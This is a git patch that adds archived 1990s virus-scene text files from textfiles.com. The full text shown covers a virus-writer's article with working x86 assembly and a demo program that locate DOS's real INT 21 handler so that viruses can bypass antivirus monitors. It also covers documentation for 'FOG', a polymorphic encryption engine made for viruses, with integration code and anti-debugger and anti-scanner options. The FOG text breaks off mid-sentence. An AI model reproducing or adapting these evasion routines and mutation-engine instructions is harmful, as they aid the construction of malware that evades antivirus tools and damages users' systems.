From b1044beb6e9760ff8aa0b4ffacc55417fe9550c3 Mon Sep 17 00:00:00 2001 From: OPSXCQ Date: Fri, 16 Mar 2018 23:04:53 -0300 Subject: [PATCH] update --- textfiles.com/virus/fndint21.txt | 376 +++ textfiles.com/virus/fog.txt | 585 +++++ textfiles.com/virus/fullstlt.txt | 254 ++ textfiles.com/virus/funbot2.cvp | 56 + textfiles.com/virus/funbot3.cvp | 58 + textfiles.com/virus/fungen1.cvp | 56 + textfiles.com/virus/fungen2.cvp | Bin 0 -> 2721 bytes textfiles.com/virus/fungen3.cvp | 53 + textfiles.com/virus/fungen4.cvp | 52 + textfiles.com/virus/fungen5.cvp | 57 + textfiles.com/virus/fungen6.cvp | 57 + textfiles.com/virus/fungen7.cvp | 56 + textfiles.com/virus/fungen8.cvp | 58 + textfiles.com/virus/fungen9.cvp | 52 + textfiles.com/virus/fungena.cvp | 56 + textfiles.com/virus/funpiv1.cvp | 47 + textfiles.com/virus/funpiv2.cvp | 48 + textfiles.com/virus/funpiv3.cvp | 51 + textfiles.com/virus/funpiv4.cvp | 57 + textfiles.com/virus/funpiv5.cvp | 56 + textfiles.com/virus/g2.txt | 564 +++++ textfiles.com/virus/gao_rpt | 2375 +++++++++++++++++++ textfiles.com/virus/gf.txt | 69 + textfiles.com/virus/glath.vir | 552 +++++ textfiles.com/virus/gold-bug.txt | 161 ++ textfiles.com/virus/goodwin.txt | 3516 ++++++++++++++++++++++++++++ textfiles.com/virus/greetng1.txt | 43 + textfiles.com/virus/guardian.bbs | 530 +++++ textfiles.com/virus/guardian.vir | 1032 ++++++++ textfiles.com/virus/hackmisc.9 | 169 ++ textfiles.com/virus/hate.txt | 20 + textfiles.com/virus/hatedetect.vir | 159 ++ textfiles.com/virus/hitler.a86 | 718 ++++++ textfiles.com/virus/hormones.vir | 379 +++ textfiles.com/virus/hr5061.vir | 61 + textfiles.com/virus/hysteria.vir | 360 +++ textfiles.com/virus/ibmpaper.vir | 2377 +++++++++++++++++++ textfiles.com/virus/identify.txt | 339 +++ textfiles.com/virus/illegal.nfo | 36 + textfiles.com/virus/implemen.mca | 765 ++++++ textfiles.com/virus/index.mag | 29 + textfiles.com/virus/intro1.cvp | 49 + textfiles.com/virus/ivm-95.1 | 3376 ++++++++++++++++++++++++++ textfiles.com/virus/jeru-b.asm | 794 +++++++ textfiles.com/virus/jeru-dc.vir | 83 + textfiles.com/virus/jtinterv.iew | 420 ++++ textfiles.com/virus/jvvirus.txt | 814 +++++++ textfiles.com/virus/killhead.vir | 32 + textfiles.com/virus/levine.pap | 240 ++ textfiles.com/virus/lminterv.iew | 1080 +++++++++ textfiles.com/virus/locprst.txt | 670 ++++++ textfiles.com/virus/ltlmess.slt | 91 + textfiles.com/virus/lzinterv.iew | 662 ++++++ textfiles.com/virus/macv.txt | 121 + textfiles.com/virus/malmsey.txt | 75 + textfiles.com/virus/mayhem.txt | 46 + textfiles.com/virus/mbfamily.txt | 157 ++ textfiles.com/virus/mbinterv.iew | 296 +++ textfiles.com/virus/mcaffvirus.txt | 118 + textfiles.com/virus/mdef.inf | Bin 0 -> 4864 bytes textfiles.com/virus/melissa.txt | 277 +++ textfiles.com/virus/memres.txt | 185 ++ textfiles.com/virus/michael.asm | 234 ++ textfiles.com/virus/michangl.txt | 225 ++ textfiles.com/virus/mk-chart.txt | 73 + textfiles.com/virus/mkinterv.iew | 304 +++ textfiles.com/virus/mkvirlst.txt | 450 ++++ textfiles.com/virus/necro.a86 | 395 ++++ textfiles.com/virus/net.hor | 378 +++ textfiles.com/virus/newinstl.txt | 29 + textfiles.com/virus/nist01.txt | 105 + textfiles.com/virus/nist02.txt | 99 + textfiles.com/virus/offspr82.txt | 36 + textfiles.com/virus/p1.txt | 186 ++ textfiles.com/virus/pcblkjck.txt | Bin 0 -> 4608 bytes textfiles.com/virus/peacevir.vir | 58 + textfiles.com/virus/ph-vir1.txt | 445 ++++ textfiles.com/virus/pngintrv.iew | 268 +++ textfiles.com/virus/polyflag.txt | 507 ++++ textfiles.com/virus/polymorf.txt | 750 ++++++ textfiles.com/virus/polymorph.txt | 343 +++ textfiles.com/virus/polymrph.txt | 249 ++ textfiles.com/virus/polyvir.txt | 107 + textfiles.com/virus/popscia86.vir | 122 + textfiles.com/virus/portexec.txt | 220 ++ textfiles.com/virus/ps-vir1.txt | 449 ++++ textfiles.com/virus/ps-vir2.txt | 594 +++++ textfiles.com/virus/ps-vir3.txt | 442 ++++ textfiles.com/virus/ps-vir4.txt | 377 +++ textfiles.com/virus/ps-vir5.txt | 441 ++++ textfiles.com/virus/ps_vir1.vir | 447 ++++ textfiles.com/virus/ps_vir2.vir | 596 +++++ textfiles.com/virus/ps_vir3.vir | 444 ++++ textfiles.com/virus/ps_vir4.vir | 379 +++ textfiles.com/virus/qkinterv.iew | 445 ++++ textfiles.com/virus/rab_mem.apl | 139 ++ textfiles.com/virus/ratboy-1.txt | 294 +++ textfiles.com/virus/ratboy-2.txt | 404 ++++ textfiles.com/virus/readlist.vir | 441 ++++ textfiles.com/virus/resist.txt | 575 +++++ textfiles.com/virus/rjinterv.iew | 649 +++++ textfiles.com/virus/robin.hod | 140 ++ textfiles.com/virus/rstut001.txt | 176 ++ textfiles.com/virus/rstut002.txt | 175 ++ textfiles.com/virus/rstut003.txt | 191 ++ textfiles.com/virus/rstut004.txt | 255 ++ textfiles.com/virus/rstut005.txt | 175 ++ textfiles.com/virus/rstut006.txt | 101 + textfiles.com/virus/rstut007.txt | 157 ++ textfiles.com/virus/rstut008.txt | 97 + textfiles.com/virus/rstut009.txt | 72 + textfiles.com/virus/rstut010.txt | 540 +++++ 112 files changed, 40703 insertions(+) create mode 100644 textfiles.com/virus/fndint21.txt create mode 100644 textfiles.com/virus/fog.txt create mode 100644 textfiles.com/virus/fullstlt.txt create mode 100644 textfiles.com/virus/funbot2.cvp create mode 100644 textfiles.com/virus/funbot3.cvp create mode 100644 textfiles.com/virus/fungen1.cvp create mode 100644 textfiles.com/virus/fungen2.cvp create mode 100644 textfiles.com/virus/fungen3.cvp create mode 100644 textfiles.com/virus/fungen4.cvp create mode 100644 textfiles.com/virus/fungen5.cvp create mode 100644 textfiles.com/virus/fungen6.cvp create mode 100644 textfiles.com/virus/fungen7.cvp create mode 100644 textfiles.com/virus/fungen8.cvp create mode 100644 textfiles.com/virus/fungen9.cvp create mode 100644 textfiles.com/virus/fungena.cvp create mode 100644 textfiles.com/virus/funpiv1.cvp create mode 100644 textfiles.com/virus/funpiv2.cvp create mode 100644 textfiles.com/virus/funpiv3.cvp create mode 100644 textfiles.com/virus/funpiv4.cvp create mode 100644 textfiles.com/virus/funpiv5.cvp create mode 100644 textfiles.com/virus/g2.txt create mode 100644 textfiles.com/virus/gao_rpt create mode 100644 textfiles.com/virus/gf.txt create mode 100644 textfiles.com/virus/glath.vir create mode 100644 textfiles.com/virus/gold-bug.txt create mode 100644 textfiles.com/virus/goodwin.txt create mode 100644 textfiles.com/virus/greetng1.txt create mode 100644 textfiles.com/virus/guardian.bbs create mode 100644 textfiles.com/virus/guardian.vir create mode 100644 textfiles.com/virus/hackmisc.9 create mode 100644 textfiles.com/virus/hate.txt create mode 100644 textfiles.com/virus/hatedetect.vir create mode 100644 textfiles.com/virus/hitler.a86 create mode 100644 textfiles.com/virus/hormones.vir create mode 100644 textfiles.com/virus/hr5061.vir create mode 100644 textfiles.com/virus/hysteria.vir create mode 100644 textfiles.com/virus/ibmpaper.vir create mode 100644 textfiles.com/virus/identify.txt create mode 100644 textfiles.com/virus/illegal.nfo create mode 100644 textfiles.com/virus/implemen.mca create mode 100644 textfiles.com/virus/index.mag create mode 100644 textfiles.com/virus/intro1.cvp create mode 100644 textfiles.com/virus/ivm-95.1 create mode 100644 textfiles.com/virus/jeru-b.asm create mode 100644 textfiles.com/virus/jeru-dc.vir create mode 100644 textfiles.com/virus/jtinterv.iew create mode 100644 textfiles.com/virus/jvvirus.txt create mode 100644 textfiles.com/virus/killhead.vir create mode 100644 textfiles.com/virus/levine.pap create mode 100644 textfiles.com/virus/lminterv.iew create mode 100644 textfiles.com/virus/locprst.txt create mode 100644 textfiles.com/virus/ltlmess.slt create mode 100644 textfiles.com/virus/lzinterv.iew create mode 100644 textfiles.com/virus/macv.txt create mode 100644 textfiles.com/virus/malmsey.txt create mode 100644 textfiles.com/virus/mayhem.txt create mode 100644 textfiles.com/virus/mbfamily.txt create mode 100644 textfiles.com/virus/mbinterv.iew create mode 100644 textfiles.com/virus/mcaffvirus.txt create mode 100644 textfiles.com/virus/mdef.inf create mode 100644 textfiles.com/virus/melissa.txt create mode 100644 textfiles.com/virus/memres.txt create mode 100644 textfiles.com/virus/michael.asm create mode 100644 textfiles.com/virus/michangl.txt create mode 100644 textfiles.com/virus/mk-chart.txt create mode 100644 textfiles.com/virus/mkinterv.iew create mode 100644 textfiles.com/virus/mkvirlst.txt create mode 100644 textfiles.com/virus/necro.a86 create mode 100644 textfiles.com/virus/net.hor create mode 100644 textfiles.com/virus/newinstl.txt create mode 100644 textfiles.com/virus/nist01.txt create mode 100644 textfiles.com/virus/nist02.txt create mode 100644 textfiles.com/virus/offspr82.txt create mode 100644 textfiles.com/virus/p1.txt create mode 100644 textfiles.com/virus/pcblkjck.txt create mode 100644 textfiles.com/virus/peacevir.vir create mode 100644 textfiles.com/virus/ph-vir1.txt create mode 100644 textfiles.com/virus/pngintrv.iew create mode 100644 textfiles.com/virus/polyflag.txt create mode 100644 textfiles.com/virus/polymorf.txt create mode 100644 textfiles.com/virus/polymorph.txt create mode 100644 textfiles.com/virus/polymrph.txt create mode 100644 textfiles.com/virus/polyvir.txt create mode 100644 textfiles.com/virus/popscia86.vir create mode 100644 textfiles.com/virus/portexec.txt create mode 100644 textfiles.com/virus/ps-vir1.txt create mode 100644 textfiles.com/virus/ps-vir2.txt create mode 100644 textfiles.com/virus/ps-vir3.txt create mode 100644 textfiles.com/virus/ps-vir4.txt create mode 100644 textfiles.com/virus/ps-vir5.txt create mode 100644 textfiles.com/virus/ps_vir1.vir create mode 100644 textfiles.com/virus/ps_vir2.vir create mode 100644 textfiles.com/virus/ps_vir3.vir create mode 100644 textfiles.com/virus/ps_vir4.vir create mode 100644 textfiles.com/virus/qkinterv.iew create mode 100644 textfiles.com/virus/rab_mem.apl create mode 100644 textfiles.com/virus/ratboy-1.txt create mode 100644 textfiles.com/virus/ratboy-2.txt create mode 100644 textfiles.com/virus/readlist.vir create mode 100644 textfiles.com/virus/resist.txt create mode 100644 textfiles.com/virus/rjinterv.iew create mode 100644 textfiles.com/virus/robin.hod create mode 100644 textfiles.com/virus/rstut001.txt create mode 100644 textfiles.com/virus/rstut002.txt create mode 100644 textfiles.com/virus/rstut003.txt create mode 100644 textfiles.com/virus/rstut004.txt create mode 100644 textfiles.com/virus/rstut005.txt create mode 100644 textfiles.com/virus/rstut006.txt create mode 100644 textfiles.com/virus/rstut007.txt create mode 100644 textfiles.com/virus/rstut008.txt create mode 100644 textfiles.com/virus/rstut009.txt create mode 100644 textfiles.com/virus/rstut010.txt diff --git a/textfiles.com/virus/fndint21.txt b/textfiles.com/virus/fndint21.txt new file mode 100644 index 00000000..d4929cd4 --- /dev/null +++ b/textfiles.com/virus/fndint21.txt @@ -0,0 +1,376 @@ + + + + FINDING INT 21's REAL ADDRESS USING THE PSP + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + + by Satan's Little Helper + + + DESCRIPTION + 컴컴컴컴컴� + + The real address of interrupt 21 is useful to almost + all viruses it enables viruses to bypass resident monitoring + software loaded as device drivers or TSR's. This article will + demonstrate a method by which you can obtain the real address + of INT 21 by using the entry at offset 6 in the PSP segment. + + PSP:6 contains a double-word pointing (hopefully) to the + dos dispatch handler (this is different from the INT 21 + handler). Then *optionally* the dispatch handler has a series + of jumps (opcode=0EAh) then it will either a) point to the + dos dispatch handler or b) the double-NOP call construct used + in some DOS versions which will then point to (a). + + The dos dispatch handler and int 21 handler in memory appear + like this: + + dos_dispatch_handler: + 0000 1E push ds + 0001 2E: 8E 1E 3DE7 mov ds,word ptr cs:[3DE7h] + 0006 8F 06 05EC pop word ptr ds:[5ECh] + 000A 58 pop ax + 000B 58 pop ax + 000C 8F 06 0584 pop word ptr ds:[584h] + 0010 9C pushf + 0011 FA cli + 0012 50 push ax + 0013 FF 36 0584 push word ptr ds:[584h] + 0017 FF 36 05EC push word ptr ds:[5ECh] + 001B 1F pop ds + 001C 80 F9 24 cmp cl,24h + 001F 77 DC ja $-22h + 0021 8A E1 mov ah,cl + 0023 EB 06 jmp $+8 + int21_handler: + 0025 FA cli + 0026 80 FC 6C cmp ah,6Ch + 0029 77 D2 ja $-2Ch + 002B 80 FC 33 cmp ah,33h + + therefore: + + int21_handler = dos_dispatch_handler + 25h + + So the end result is we just find 'dos_dispatch_hndlr' + address then check that the opcodes are right (1E2E/FA80) + and then add (int21_handler-dos_dispatch_hndlr) to the + pointer to dos_dispatch_hndlr to get the INT 21 handler + address. + + Simple! (read it again if you don't get it). + + In the case of (b) occurring we just do the same except + the offset of the dispatch handler from the int 21 + handler is different: + + 0000 90 nop + 0001 90 nop + 0002 E8 00E0 call $+0E3h + 0005 2E: FF 2E 1062 jmp dword ptr cs:[1062h] + 000A 90 nop + 000B 90 nop + 000C E8 00D6 call $+0D9h + 000F 2E: FF 2E 1066 jmp dword ptr cs:[1066h] + int21_handler: + 0014 90 nop + 0015 90 nop + 0016 E8 00CC call $+0CFh + 0019 2E: FF 2E 106A jmp dword ptr cs:[106Ah] + 001E 90 nop + 001F 90 nop + 0020 E8 00C2 call $+0C5h + 0023 2E: FF 2E 106E jmp dword ptr cs:[106Eh] + 0028 90 nop + 0029 90 nop + 002A E8 00B8 call $+0BBh + 002D 2E: FF 2E 1072 jmp dword ptr cs:[1072h] + 0032 90 nop + 0033 90 nop + 0034 E8 00AE call $+0B1h + 0037 2E: FF 2E 1076 jmp dword ptr cs:[1076h] + 003C 90 nop + 003D 90 nop + 003E E8 00A4 call $+0A7h + 0041 2E: FF 2E 107A jmp dword ptr cs:[107Ah] + dos_dispatch_handler: + 0046 90 nop + 0047 90 nop + 0048 E8 009A call $+9Dh + 004B 2E: FF 2E 107E jmp dword ptr cs:[107Eh] + + therefore: + + int21_handler = dos_dispatch_handler - 32h + + + ADVANTAGES & DISADVANTAGES OF THIS METHOD + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + This method requires a very small amount of code and + can be made even more efficient than the code shown below. + + Although untrappable it can be confused into tracing + into the resident monitor's trapping code. Much of the + logic of this method is hard coded so changes in the + opcodes (from TSR AV utilities) will be able to trick it + into thinking it has found the correct address (this + requires use of the double-NOP signatures). + + AV developers appear to be reluctant to modify their + software for specific viruses so may avoid placing the + sequence to confuse it into their software. + + CODE + 컴컴 + + This code is not designed to be size efficent it is designed + to be easy to understand. + + ;name: psp_trace + ;in cond: ds=psp segment + ;out cond: ds:bx=int 21 address if carry clear + ; ds:bx=nothing if carry set. + ;purpose: finds int 21 address using a PSP trace. + + psp_trace: + lds bx,ds:[0006h] ;point to dispatch handler + trace_next: + cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ? + jnz check_dispatch + lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP + cmp word ptr ds:[bx],9090h ;check for double-NOP signature + jnz trace_next + sub bx,32h ;32h byte offset from dispatch + ;handler + cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works + jnz check_dispatch + good_search: + clc + ret + check_dispatch: + cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override + jnz bad_exit + add bx,25h ;25h byte offset from dispatch + cmp word ptr ds:[bx],80FAh ;check for cli, push ax + jz good_search + bad_exit: + stc + ret + + NOTES + 컴컴� + + INT 30h and INT 31h contain *code* (not an address) to + jump to the dispatch handler so to trace using INT 30h/31h + you just set ds:bx to 0:c0 and call the trace_next in the + psp_trace routine. + + Debug hex dump of INT 30/31 addresses in the IVT: + + Immediate far JMP + ____________ + -d 0:c0 | | + 0000:00C0 EA 28 00 02 01 FF 00 F0-0F 00 02 01 DF 0D 39 01 + |_________| |_________| + INT 30 INT 31 + addr addr + + EA 28 00 02 01 = JMP 0102:0028 + + ;name: int30_trace + ;out cond: ds:bx=int 21 address if carry clear + ; ds:bx=nothing if carry set. + ;purpose: finds int 21 address using an INT 30/31 trace. + + int30_trace: + xor bx,bx + mov ds,bx + mov bl,0c0h ;point to 0:0c0 + jmp short trace_next + + + OTHER NOTES + 컴컴컴컴컴� + + After writing this I heard that the "MG" virus uses the same + technique, I have a sample of this virus and it does not use + the same technique. + + + TESTING + 컴컴컴� + + So far this has been tested on MSDOS 6.x, Novell Netware, + and IBM network software all resulting in positive tests. + + Machines running DR DOS, Novell DOS, 4DOS, OS/2 and NT + could not be found. It is expected that this will not work + on *ALL* DOS-type platforms but that is why I implemented + error codes in the form of the carry flag being set/clear. + + + CONCLUSION + 컴컴컴컴컴 + + It has been shown that INT 30h/31h is slightly more + reliable than the PSP:6 address, so if a call to psp_trace + results in carry set then call int30_trace. The reason + you should call PSP trace first is that altering INT 30/31 + is much easier than altering PSP:6 so it makes the AV do + more work ;) + + + CREDITS + 컴컴컴� + + TaLoN - helped in working out offsets and told me + about int 30h/31h pointing to dispatch handler. + Lookout Man - tester + Aardvark - network tester + + DEMO PROGRAM + 컴컴컴컴컴컴 + + + ;-------8<--------cut here---------8<------- + + comment | + + TASM ASSEMBLY: + tasm psptest.asm + tlink /t psptest.obj + + A86 ASSEMBLY: + a86 psptest.asm + | + + .model tiny + .code + + org 100h + +start: + mov dx,offset psp_status + call print_str ;print "PSP trace: " + call psp_trace ;do the trace + jc bad_psp +print_status: + mov dx,offset ok_str ;print "Ok!" + call print_str + mov dx,offset psp_addr ;print "interrupt trace to: " + call print_str + push bx + mov bx,ds ;print segment + call bin_to_hex + call print_colon ;print ":" + pop bx + call bin_to_hex ;print offset + jmp do_int30 +bad_psp: + mov dx,offset bad_str + call print_str +do_int30: + nop + nop + mov word ptr cs:do_int30,20CDh ;exit next time around + mov dx,offset i30_status + call print_str ;print "PSP trace: " + call int30_trace + jnc print_status + jmp short do_int30 + +print_str: + mov ah,9 + push ds + push cs + pop ds + int 21h + pop ds + ret + +psp_addr db 13,10,'Interrupt traced to: $' +psp_status db 13,10,'PSP trace : $' +i30_status db 13,10,'INT 30/31 trace: $' +ok_str db 'Ok!$' +bad_str db 'Failure$' + +;name: psp_trace +;in cond: ds=psp segment +;out cond: ds:bx=int 21 address if carry clear +; ds:bx=nothing if carry set. +;purpose: finds int 21 address using a PSP trace. + +psp_trace: + lds bx,ds:[0006h] ;point to dispatch handler +trace_next: + cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ? + jnz check_dispatch + lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP + cmp word ptr ds:[bx],9090h ;check for double-NOP signature + jnz trace_next + sub bx,32h ;32h byte offset from dispatch + ;handler + cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works + jnz check_dispatch +good_search: + clc + ret +check_dispatch: + cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override + jnz bad_exit + add bx,25h ;25h byte offset from dispatch + cmp word ptr ds:[bx],80FAh ;check for cli, push ax + jz good_search +bad_exit: + stc + ret + +;name: int30_trace +;out cond: ds:bx=int 21 address if carry clear +; ds:bx=nothing if carry set. +;purpose: finds int 21 address using an INT 30/31 trace. + +int30_trace: + xor bx,bx + mov ds,bx + mov bl,0c0h ;point to 0:0c0 + jmp short trace_next + +bin_to_hex: ;will print number in BX as hex + push cx ;code stolen from KRTT demo + push dx + push ax + mov ch,4 +rotate: + mov cl,4 + rol bx,cl + mov al,bl + and al,0Fh + add al,30h + cmp al,'9'+1 + jl print_it + add al,07h +print_it: + mov dl,al + mov ah,2 + int 21h + dec ch + jnz rotate + pop ax + pop dx + pop cx + ret + +print_colon: + mov ah,2 + mov dl,':' + int 21h + ret + + end start + + ;-------8<--------cut here---------8<------- + diff --git a/textfiles.com/virus/fog.txt b/textfiles.com/virus/fog.txt new file mode 100644 index 00000000..e2457dda --- /dev/null +++ b/textfiles.com/virus/fog.txt @@ -0,0 +1,585 @@ + + + + + + + + + + + FOG + + A polymorphic encryption algorithm + + by Eclipse + + + + + + + + + + + + Disclaimer: + + I have made this mutation engine for fun purposes only. + It is made for use in viruses, but not as to promote any + intentional harm or damage on computer systems. + + This engine is dedicated to those of you out there who find the + concept of replicating programs fascinating. Trojan and + destructive virus writers: Get a life. + + + + + + + + USAGE: CODE MODIFICATION INSTRUCTIONS + + 1. Enter the statement "extrn fog:near, fog_init:near, rnd:near" + into your code in your code segment. Its not really necessary to + include the "rnd" part if you do not need a random number generator + in your code. You might also find it handy to include the switch + definition file (switches.inc) in your code. + + + + Example (ideal mode): + ...... + .model tiny + .radix 16 + ideal + + segment code word + assume cs:code, ds:code, es:code, ss:code + + org 100h + + extrn fog:near, fog_init:near, rnd:near ;here + include "switches.inc" ;and here + ...... + + + or (MASM simplified mode): + ...... + .model tiny + .radix 16 + .code + + org 100h + + extrn fog:near, fog_init:near, rnd:near ;here + include switches.inc ;and here + ...... + + or (MASM mode): + ...... + .model tiny + .radix 16 + + code segment word + assume cs:code, ds:code, es:code, ss:code + + org 100h + + extrn fog:near, fog_init:near, rnd:near ;here + include switches.inc ;and here + ...... + + + + 2. Initialise fog. Do so by calling fog_init with the appropriate + parameters: + AH : Debugger hostility switches (see below) + AL : Junk generation switches ( ---"--- ) + CL : General switches ( ---"--- ) + + CS:DX : Code to encrypt + SI : Size of code to encrypt + DI : Where in the decrypted code control should be passed. + eg. if execution starts at the beginning of the code, + DI = 0. + + Note that this initialization could be done only once, f.ex. at the + installation of a TSR virus, and later only be called when there was + need for updating the information, typically changing from COM to EXE + mutation mode. + + On return from fog_init only one register will have changed; + + CX = Max size of decryptor and encrypted code. This + will be the amount of bytes to stealth if you + are making a stealth virus and have specified + constant code size (sw_const_s) or if you want + a tip of how much memory you gonna need for + encryption, otherwise ignore. + + + + Example: + + .... + mov ah, sw_prefetch or sw_int3 + mov al, sw_015_gi + ;or more efficiently: + ;mov ax, (sw_prefetch or sw_int3) shl 8 or sw_015_gi + mov cl, sw_const_s + mov dx, cs:[myoffset] + mov si, sizeofvirus + xor di, di + call fog_init + .... + + + + 3. Mutate by calling fog with the following parameters: + + ES : Free segment. This is where the mutated code will be put. + Must contain enough memory for the encrypted code + and decryptor. When you define high junk generation, the + decryptor can be rather ...errr... massive... + + + BP : Offset of code. Eg. if you write the mutated code to the + end of a COM file, then BP should be set to filesize+100h. + + + Example: + .... + mov bp, ax + add bp, 0100 + mov ax, cs + dec ax, (bufferneeded+0fh)/10h + mov es, ax + call fog + mov ah, 40 ;CX = number of bytes, DS:DX = buffer + int 21 + .... + + + + 4. Take note of the register values on return from the + fog mutation algorithm: + + DS:DX = ES:0 = Buffer where decryptor and encrypted code will + be found. + + CX = Length of decryptor and encrypted code. + + All other registers are preserved. + + + + + USAGE: MEMORY REQUIREMENTS + + When calling fog you should make sure that you have an + encryption buffer big enough to accomodate even the largest + decryptors + your encrypted code. On its most demanding setting + (sw_255_gi / sw_maxhostile) fog will require approximately 16k + of memory. If you use fixed file size, the memory required can + be even more massive. However, if you reduce the junk generation, + fog will need much less memory. + + When you call fog_init, CX will return the maximum size (in bytes) + needed. + + Note: Take a look on what I do in AirRaid. I steal a temporary + block of memory just to do the encryption, without allocating + it. This will work nicely most of the time. + + + + + + + USAGE: ASSEMBLY INSTRUCTIONS + + Fog is written in TASM 3.0 (C) Borland Inc. and is designed + to work with tasm and tasm-compatible assemblers. + To use the fog object module in your code: + + tasm /m3 myvir.asm + tlink (/t) myvir fog + + If you select to assemble fog down from the source, you should + use + + tasm /m3 fog.asm + + before linking the resultant object module into your code. + + + + + + ------------------------------------------------------------------- + The code size of FOG in its present condition is 55Bh (1371) bytes. + ------------------------------------------------------------------- + If you modify the source, assemble with TASM /m3 /l and take a + look on top of the lst file; there will be a constant named + fogsize - this is FOG's effective length. + + + + + + TECHNICAL OVERVIEW: + + Fog constructs its decryptor in a stepwise manner. + The flow of execution when encrypting can be summarised like this: + + * Choose Initialization strategy + * Choose Crypt strategy + * Choose Base updating strategy + * Choose Loopback strategy + + (Decryptor and encryptor are finished here !!!) + + * Add a jump to starting point in code, often this will be just a JMP 0. + * Encrypt main code + * If some alignment or static code size is chosen, pad the encrypted + code until it has the right size. + * Set all registers according to the correct feedback values, and + return to caller. + + + STRATEGIES: + + **** Init Strategy **** + This is done by randomly choosing registers for key, base and count + and generate MOV reg, imm16 instructions with the appropriate numbers. + Junk (if selected) will be filled in between these instructions. + + + **** Crypt strategy **** + The standard crypto instruction will be of the type: + ( The / separates options that are used with equal probability ) + + RND 1..15 * (XOR/SUB/ADD CS:/DS:/ES:/SS: [BX/SI/DI]/[BX/SI/DI+disp16], imm16/reg) + RND 0..7 * (ROL reg,1) + + The segment overrides DS:/ES:/SS: will of course only be created in + COM file mode, in EXE mode only CS: will appear. + + So decryptors can look like this: + + XOR SS:[SI+0490],FD81 + junk + XOR CS:[SI+0490],DX " + ADD CS:[SI+0490],DX " + SUB CS:[SI+0490],8755 " + XOR ES:[SI+0490],5886 " + ADD SS:[SI+0490],770B " + ADD DS:[SI+0490],0322 " + ROL DX,1 " + ROL DX,1 " + ROL DX,1 " + + or like this: + + XOR SS:[BX],DX + junk + + At the same time as the decryptor instructions are generated, the encryptor + is inversely built in the encryptor buffer. + As you will have noticed, the key is always word sized. + + + **** Base updating strategy **** + Base updating instructions can be of the type: + ADD reg, 2/-2 + or + SUB reg, 2/-2 + or + DEC reg + DEC reg + or + INC reg + INC reg + + + **** Loopback strategy **** + Loopbacks will look like this: + + LOOP ... + + or + + DEC reg + JNZ ..... + + (The above will only be used if backwards jump is less than 128 bytes.) + + or + + DEC reg + JZ 03 + JMP .... + + or + + DEC reg + JZ 05 + MOV reg, offset .... + PUSH reg + RET + + + There are many more ways to do this, of course, use your + imagination and add some. + + + STRONG POINTS: + + * Cryptographic toughness + FOG utilises a powerful mutation encryption algorithm, making + the encryptors very variable indeed. Cryptanalysis is going to + be hard on this one, as there is between 1 and 15 random + xor/sub/add/rol operations with different keys on each element + to be encrypted. With the change of just one constant in the + enclosed source this number can be much increased. + + + * Junk instruction generation + The junk instructions, generically generated by FOG, includes + instructions of 1, 2, 3, 4, 5 and even 2*7 bytes, and FOG can + generate up to 255 such junk instructions between *each* + good instruction. I've had test decryptors varying between + 20 bytes and 10k (!). + + + * Configurable + FOG is configurable in most aspects. Based on what you tell it, it + will behave very differently from configuration to configuration. + + Examples: + + 1. mov al, sw_nogarb + call fog_init + + This will cause FOG to generate short decryptors without any garbage + or debugger hostile instructions at all. Turning off garbage also turns + off debugger hostility, so any value in AH will be ignored. The + encryption will however be just as strong as before, and the decryptor + will still mutate. + + 2. mov al, sw_007_gi + mov ah, sw_int3 or sw_prefetch + call fog_init + + + This setting will cause FOG to generate between 1 and 7 junk + instructions between each good one. Randomly interspersed in + these junk instructions will be some debugger hostile instructions, + in this case int 3's and prefetch traps. The int 3's are just + bothersome when debugging, the prefetch traps will fool the unin- + telligent debuggers and some of those programs who try to auto- + matically decrypt the encrypted code; TbClean crashes spectacularly. + + + 3. mov al, sw_255_gi + mov ah, sw_debug + call fog_init + + This setting will cause FOG to generate medium to very big + decryptors, as there will be between 1 and 255 garbage instructions + between each good instruction. However, setting ah to sw_debug causes + the garbage generated to not contain any debugger hostility at all, + and *no encryption will be performed*. + + 4. mov cl, (sw_r_garb or sw_r_host) + call fog_init + + This will tell FOG to ignore any settings of AH or AL, and randomly + choose a setting for itself. Thus the setting may be one of extreme + garbage generation and/or hostility or the opposite. Note that FOG + will behave according to this until next time you call fog_init, and + another random setting will be chosen. If used in a virus, his would + have the effect that samples of one generation could be *totally* + different from samples of another generation + + + 5. mov cl, sw_const_s + call fog_init + + This will cause FOG to generate decryptor+encrypted code of + constant size each time you encrypt. This will be of use for + stealth virus production. Fog manages this by padding all + encryptions up to the point where it's very unlikely that a + bigger decryptor will be created. Note that with high junk + configuration there often will be a nauseatingly huge pad area + at the end of files. + + 6. mov cl, sw_align16 + call fog_init + + Some people make viruses that need to be padded up to a paragraph + border, for self recognition or other purposes. With this setting + FOG will do that. + + 7. mov cl, sw_align256 + call fog_init + + Same as previous, but with 256 byte page borders. + + + + * Generic programming + + This engine is released with the commented original source code. + It's of course possible to improve the engine, and it's relatively + easy to do so around its current framework. For instance is the garbage + generation modular, by adding another module and updating the jump + addresses FOG will spew out the new instructions just as easy and + randomly as those included in the source. You may also note the + vacant switches, where you may add more configurable options. + One of FOG's strongest points is just this; by releasing the source + it will mutate not just decryptors, but with time also it's own + functionality. + + + WEAK POINTS: + + * Decryptor obviousness + + Decryptors generated with this engine do not have any mechanisms to + hide that they are decryptors (except junk). They do not generate + any codesequence to fool scanners into believing that this is a + legitimate program. Thus, heuristic scanners may smell a rat, + especially TbScan when FOG uses low junk/hostility settings. + TbScan detects the presence of a decryptor and sometimes succeed + to decrypt the encrypted program. On high junk/hostility settings, + however, TbScan mostly chokes and dies. The prefetch traps generate + much noise, in the sense that they mess with memory and cause TbScan + to whip out @, 1, D and U flags galore. On rare occasions they also + cause the program to terminate or even hang. I have included jmp + instructions in the standard set of functions from FOG, however + these sometimes generate TbScan @ and J flags. + + * Scanning vulnerability + + When high debugger hostility is chosen, FOG generates fixed + codesequences that might be scanned for, particularly the + prefetch traps. This might be something to have in mind. + + * Huuuuuuge decryptors + + As mentioned before, with high garbage settings FOG may generate + very large decryptors indeed. This may cause not only a considerable + file growth, but also a noticeable timelag upon decrypting. + + * Statistical analysis vulnerability + + There is a chance that 